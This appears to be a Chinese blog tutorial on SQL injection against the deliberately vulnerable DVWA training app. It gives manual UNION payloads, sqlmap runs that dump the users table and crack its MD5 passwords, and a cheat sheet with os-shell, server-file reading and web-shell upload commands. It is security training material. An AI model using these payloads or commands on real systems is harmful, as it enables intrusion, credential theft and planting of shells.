欢迎光临
我们一直在努力

SQL 注入实战:DVWA LOW完整测试指南

文章目录

    • 1. 环境准备
      • 1.1 获取 Session Cookie
    • 2. 手工 SQL 注入测试
      • 2.1 判断注入点
      • 2.2 确定字段数
      • 2.3 联合查询测试
      • 2.4 获取数据库名
      • 2.5 获取表名(解决字符集冲突)
        • 问题:字符集冲突错误
        • 解决方案:使用 HEX 编码
      • 2.6 获取列名
      • 2.7 获取用户数据
    • 3. Sqlmap 自动化注入
      • 3.1 Sqlmap 简介
      • 3.2 安装与配置
      • 3.3 基础命令详解
        • 命令结构
        • 参数说明
      • 3.4 实战步骤
        • 步骤 1:枚举所有数据库
        • 步骤 2:获取 dvwa 数据库的表
        • 步骤 3:获取 users 表的列名
        • 步骤 4:获取所有用户数据
      • 3.5 注入技术对比
      • 3.6 常用命令速查
        • 获取数据库信息
        • 获取表和数据
        • 高级功能
    • 4. 数据获取与分析
      • 4.1 获取到的完整数据
      • 4.2 密码安全分析
      • 4.3 数据导出格式

1. 环境准备

1.1 获取 Session Cookie

  • 使用浏览器访问 DVWA 并登录
  • 按 F12 打开开发者工具
  • 点击 Network(网络) 标签
  • 刷新页面,点击任意请求
  • 在 Request Headers 中找到 Cookie: 行
  • 复制完整的 Cookie 值
  • 示例 Cookie:

    PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low


    2. 手工 SQL 注入测试

    2.1 判断注入点

    测试步骤:

    在 SQL Injection 页面的输入框中输入:

    1'

    预期结果: 页面报错,说明存在 SQL 注入漏洞。

    原因分析:

    — 原始 SQL
    SELECT first_name, last_name FROM users WHERE user_id = '1'

    — 注入后 SQL
    SELECT first_name, last_name FROM users WHERE user_id = '1''
    — 多余的单引号导致语法错误


    2.2 确定字段数

    测试语句:

    1' order by 3#

    结果: 页面报错

    测试语句:

    1' order by 2#

    结果: 页面正常

    结论: 查询语句包含 2 个字段

    原理说明:

    — order by 3 报错,说明只有 2 列
    SELECT first_name, last_name FROM users WHERE user_id = '1' order by 3#
    — 第 3 列不存在,导致错误


    2.3 联合查询测试

    测试语句:

    1' union select 1,2#

    结果: 页面显示 1 和 2

    说明: 该注入点支持 UNION 查询注入

    原理解析:

    SELECT first_name, last_name FROM users WHERE user_id = '-1'
    UNION
    SELECT 1,2#

    为什么要用 -1?

    • 使用 -1 确保第一条查询不返回结果
    • 这样 UNION 查询的结果才会显示在页面上

    2.4 获取数据库名

    注入语句:

    1' union select 1,database()#

    执行结果:

    ID: -1' union select 1,database()#
    First name: 1
    Surname: dvwa

    结论: 当前数据库名为 dvwa


    2.5 获取表名(解决字符集冲突)

    问题:字符集冲突错误

    尝试语句:

    1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

    错误信息:

    Illegal mix of collations for operation 'UNION'

    错误原因: 数据库表字符集与查询结果字符集不匹配

    解决方案:使用 HEX 编码

    注入语句:

    1' union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema='dvwa'#

    执行结果:

    Surname:7573657273

    十六进制解码:

    7573657273 → users

    结论: DVWA 数据库包含这个表:

    • users(用户表)

    2.6 获取列名

    注入语句:

    1' union select 1,hex(group_concat(column_name)) from information_schema.columns where table_name='users'#

    执行结果(十六进制):

    757365725f69642c66697273745f6e616d652c6c6173745f6e616d652c757365722c70617373776f72642c6176617461722c6c6173745f6c6f67696e2c6661696c65645f6c6f67696e

    解码结果:

    user_id,first_name,last_name,user,password,avatar,last_login,failed_login


    2.7 获取用户数据

    注入语句:

    1' union select 1,hex(group_concat(user,0x3a,password)) from users#

    说明: 0x3a 是冒号 : 的十六进制,用于分隔用户名和密码

    执行结果(十六进制):

    61646d696e3a32313233326632393761353761356137343338393461306534613830316663332c…

    解码结果:

    admin:21232f297a57a5a743894a0e4a801fc3,
    gordonb:e99a18c428cb38d5f260853678922e03,
    1337:8d3533d75ae2c3966d7e0d4fcc69216b,
    pablo:0d107d09f5bbe40cade3de5c71e9e9b7,
    smithy:5f4dcc3b5aa765d61d8327deb882cf99

    密码破解(MD5):

    用户名MD5 哈希明文密码
    admin 21232f297a57a5a743894a0e4a801fc3 admin
    gordonb e99a18c428cb38d5f260853678922e03 abc123
    1337 8d3533d75ae2c3966d7e0d4fcc69216b charley
    pablo 0d107d09f5bbe40cade3de5c71e9e9b7 letmein
    smithy 5f4dcc3b5aa765d61d8327deb882cf99 password

    3. Sqlmap 自动化注入

    3.1 Sqlmap 简介

    Sqlmap 是一款开源的 SQL 注入工具,可以:

    • 自动检测和利用 SQL 注入漏洞
    • 支持多种数据库(MySQL、Oracle、PostgreSQL 等)
    • 支持多种注入技术(布尔盲注、错误注入、时间盲注、UNION 查询)
    • 直接获取数据库数据

    3.2 安装与配置

    Windows 环境:

  • 下载 sqlmap:
  • https://github.com/sqlmapproject/sqlmap

  • 添加到系统 PATH(可选):
  • [Environment]::SetEnvironmentVariable("Path", $env:Path + ";D:\\Programs\\Tools\\sqlmap", [EnvironmentVariableTarget]::User)

  • 使用方法:
  • # 方式 1:直接运行(需要配置 PATH)
    sqlmap.py [选项]

    # 方式 2:指定完整路径
    python D:\\Programs\\Tools\\sqlmap\\sqlmap.py [选项]

    # 方式 3:在 sqlmap 目录下运行
    cd D:\\Programs\\Tools\\sqlmap
    python sqlmap.py [选项]


    3.3 基础命令详解

    命令结构

    sqlmap u "目标 URL" cookie="会话 Cookie" 功能参数

    参数说明
    参数作用示例
    -u 指定目标 URL -u "http://…"
    –cookie 设置 Cookie –cookie="PHPSESSID=xxx; security=low"
    –dbs 枚举所有数据库 –dbs
    -D 指定数据库 -D dvwa
    –tables 列出表 –tables
    -T 指定表 -T users
    –columns 列出列 –columns
    –dump 导出数据 –dump
    –batch 自动确认 –batch
    –technique 指定注入技术 –technique=U

    3.4 实战步骤

    步骤 1:枚举所有数据库

    命令:

    python sqlmap.py u "http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low" dbs batch

    输出结果:

    ___
    __H__
    ___ ___[)]_____ ___ ___ {1.10.6.12#dev}
    |_ -| . [(] | .'| . |
    |___|_ [)]_|_|_|__,| _|
    |_|V… |_| https://sqlmap.org

    [*] starting @ 17:46:06 /2026-06-03/

    [17:46:08] [INFO] testing connection to the target URL
    [17:46:08] [INFO] checking if the target is protected by some kind of WAF/IPS
    [17:46:08] [INFO] testing if the target URL content is stable
    [17:46:09] [INFO] target URL content is stable
    [17:46:09] [INFO] testing if GET parameter 'id' is dynamic
    [17:46:09] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')

    [17:48:02] [INFO] testing 'AND boolean-based blind – WHERE or HAVING clause'
    [17:48:13] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind – WHERE or HAVING clause (NOT – MySQL comment)' injectable

    [17:48:18] [INFO] testing 'MySQL >= 5.1 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
    [17:48:18] [INFO] GET parameter 'id' is 'MySQL >= 5.1 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable

    [17:48:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
    [17:48:29] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable

    [17:48:29] [INFO] testing 'Generic UNION query (NULL) – 1 to 20 columns'
    [17:48:29] [INFO] target URL appears to have 2 columns in query
    [17:48:29] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) – 1 to 20 columns' injectable

    sqlmap identified the following injection point(s) with a total of 146 HTTP(s) requests:

    Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind – WHERE or HAVING clause (NOT – MySQL comment)
    Payload: id=1' OR NOT 8669=8669#&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.1 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=1' AND EXTRACTVALUE(3115,CONCAT(0x5c,0x716b706271,(SELECT (ELT(3115=3115,1))),0x71787a7871))– YXzB&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 3061 FROM (SELECT(SLEEP(5)))taHX)– BpBS&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) – 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x716b706271,0x6470647544566f535a6f566f575346624270466947536d744956424a6f41736b7972784c70636646,0x71787a7871),NULL#&Submit=Submit

    [17:51:09] [INFO] the back-end DBMS is MySQL
    web server operating system: Windows
    web application technology: PHP 7.3.4, Apache 2.4.39
    back-end DBMS: MySQL >= 5.1

    [17:51:09] [INFO] fetching database names
    available databases [2]:
    [*] dvwa
    [*] information_schema

    [*] ending @ 17:51:09 /2026-06-03/

    关键信息:

    • 发现 4 种注入方式
    • 发现 2 个数据库:dvwa、information_schema
    • 后端 DBMS:MySQL >= 5.1
    • Web 服务器:Windows + PHP 7.3.4 + Apache 2.4.39

    步骤 2:获取 dvwa 数据库的表

    命令:

    python sqlmap.py u "http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low" D dvwa tables batch

    输出结果:

    Database: dvwa
    [1 table]
    +——-+
    | users |
    +——-+

    说明: 成功获取 dvwa 数据库中的表:users


    步骤 3:获取 users 表的列名

    命令:

    python sqlmap.py u "http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low" D dvwa T users columns batch

    输出结果:

    Database: dvwa
    Table: users
    [8 columns]
    +————–+————-+
    | Column | Type |
    +————–+————-+
    | user | varchar(15) |
    | avatar | varchar(70) |
    | failed_login | int(3) |
    | first_name | varchar(15) |
    | last_login | timestamp |
    | last_name | varchar(15) |
    | password | varchar(32) |
    | user_id | int(6) |
    +————–+————-+

    字段说明:

    字段名类型说明
    user varchar(15) 用户名
    password varchar(32) 密码(MD5 哈希)
    user_id int(6) 用户 ID
    first_name varchar(15)
    last_name varchar(15)
    avatar varchar(70) 头像路径
    last_login timestamp 最后登录时间
    failed_login int(3) 登录失败次数

    步骤 4:获取所有用户数据

    命令:

    python sqlmap.py u "http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low" D dvwa T users dump batch

    输出结果:

    Database: dvwa
    Table: users
    [5 entries]
    +———+———+———————————-+———————————————+———+————+———————+————–+
    | user_id | user | avatar | password | last_name | first_name | last_login | failed_login |
    +———+———+———————————-+———————————————+———+————+———————+————–+
    | 1 | admin | /DVWA/hackable/users/admin.jpg | 21232f297a57a5a743894a0e4a801fc3 (admin) | admin | admin | 2026-05-12 23:26:37 | 3 |
    | 2 | gordonb | /DVWA/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2026-04-23 08:52:29 | 0 |
    | 3 | 1337 | /DVWA/hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2026-04-23 08:52:29 | 0 |
    | 4 | pablo | /DVWA/hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2026-04-23 08:52:29 | 0 |
    | 5 | smithy | /DVWA/hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2026-04-23 08:52:29 | 0 |
    +———+———+———————————-+———————————————+———+————+———————+————–+

    [17:55:28] [INFO] table 'dvwa.users' dumped to CSV file 'C:\\Users\\Administrator\\AppData\\Local\\sqlmap\\output\\192.168.0.107\\dump\\dvwa\\users.csv'


    3.5 注入技术对比

    注入类型原理速度推荐使用场景
    UNION 查询 使用 UNION 关键字合并查询结果 ⭐⭐⭐⭐⭐ 首选,可直接获取数据
    错误注入 利用数据库错误信息泄露数据 ⭐⭐⭐⭐ 备选方案,速度较快
    布尔盲注 根据页面返回差异判断 ⭐⭐ 其他方法失败时使用
    时间盲注 根据响应时间判断 最后的选择,速度慢

    Sqlmap 检测到的注入 Payload:

    1. 布尔盲注:

    id=1' OR NOT 8669=8669#&Submit=Submit

    2. 错误注入:

    id=1' AND EXTRACTVALUE(3115,CONCAT(0x5c,0x716b706271,(SELECT (ELT(3115=3115,1))),0x71787a7871))— YXzB&Submit=Submit

    3. 时间盲注:

    id=1' AND (SELECT 3061 FROM (SELECT(SLEEP(5)))taHX)— BpBS&Submit=Submit

    4. UNION 查询:

    id=1' UNION ALL SELECT CONCAT(0x716b706271,0x6470647544566f535a6f566f575346624270466947536d744956424a6f41736b7972784c70636646,0x71787a7871),NULL#&Submit=Submit


    3.6 常用命令速查

    获取数据库信息

    # 获取所有数据库
    sqlmap u "URL" cookie="Cookie" dbs batch

    # 获取当前数据库
    sqlmap u "URL" cookie="Cookie" current-db batch

    # 获取数据库用户
    sqlmap u "URL" cookie="Cookie" current-user batch

    # 获取数据库版本
    sqlmap u "URL" cookie="Cookie" dbms-version batch

    获取表和数据

    # 获取指定数据库的所有表
    sqlmap u "URL" cookie="Cookie" D dvwa tables batch

    # 获取指定表的列
    sqlmap u "URL" cookie="Cookie" D dvwa T users columns batch

    # 获取指定表的数据
    sqlmap u "URL" cookie="Cookie" D dvwa T users dump batch

    # 获取所有数据库的所有数据
    sqlmap u "URL" cookie="Cookie" dump-all batch

    高级功能

    # 只使用 UNION 注入技术(最快)
    sqlmap u "URL" cookie="Cookie" technique=U batch

    # 获取数据库权限
    sqlmap u "URL" cookie="Cookie" privileges batch

    # 获取操作系统 Shell(高危!)
    sqlmap u "URL" cookie="Cookie" os-shell batch

    # 读取服务器文件
    sqlmap u "URL" cookie="Cookie" file-read="C:/Windows/win.ini" batch

    # 写入文件到服务器
    sqlmap u "URL" cookie="Cookie" file-write="./shell.php" file-dest="./DVWA/shell.php" batch


    4. 数据获取与分析

    4.1 获取到的完整数据

    users 表数据:

    user_iduserfirst_namelast_namepassword (MD5)password (明文)
    1 admin admin admin 21232f297a57a5a743894a0e4a801fc3 admin
    2 gordonb Gordon Brown e99a18c428cb38d5f260853678922e03 abc123
    3 1337 Hack Me 8d3533d75ae2c3966d7e0d4fcc69216b charley
    4 pablo Pablo Picasso 0d107d09f5bbe40cade3de5c71e9e9b7 letmein
    5 smithy Bob Smith 5f4dcc3b5aa765d61d8327deb882cf99 password

    4.2 密码安全分析

    问题:

  • 所有密码都使用 MD5 哈希(不安全)
  • 密码强度极弱(如 admin、abc123、password)
  • 没有使用盐值(salt)
  • MD5 哈希特点:

    • 快速计算
    • 容易受到彩虹表攻击
    • 不适合存储密码

    推荐方案:

    • 使用 bcrypt、Argon2 或 PBKDF2
    • 添加随机盐值
    • 增加计算成本因子

    4.3 数据导出格式

    Sqlmap 支持多种导出格式:

    CSV 文件:

    user_id,user,avatar,password,last_name,first_name,last_login,failed_login
    1,admin,/DVWA/hackable/users/admin.jpg,21232f297a57a5a743894a0e4a801fc3,admin,admin,2026-05-12 23:26:37,3

    SQL 文件:

    INSERT INTO users VALUES (1,'admin','admin','21232f297a57a5a743894a0e4a801fc3',...);


    ⚠️ 法律免责声明:

    本文所有技术内容仅用于学习和研究目的。未经授权对他人系统进行测试是违法行为。请在使用本文所述技术时,确保您已获得合法授权。

    赞(0)
    未经允许不得转载:171主机测评 » SQL 注入实战:DVWA LOW完整测试指南
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址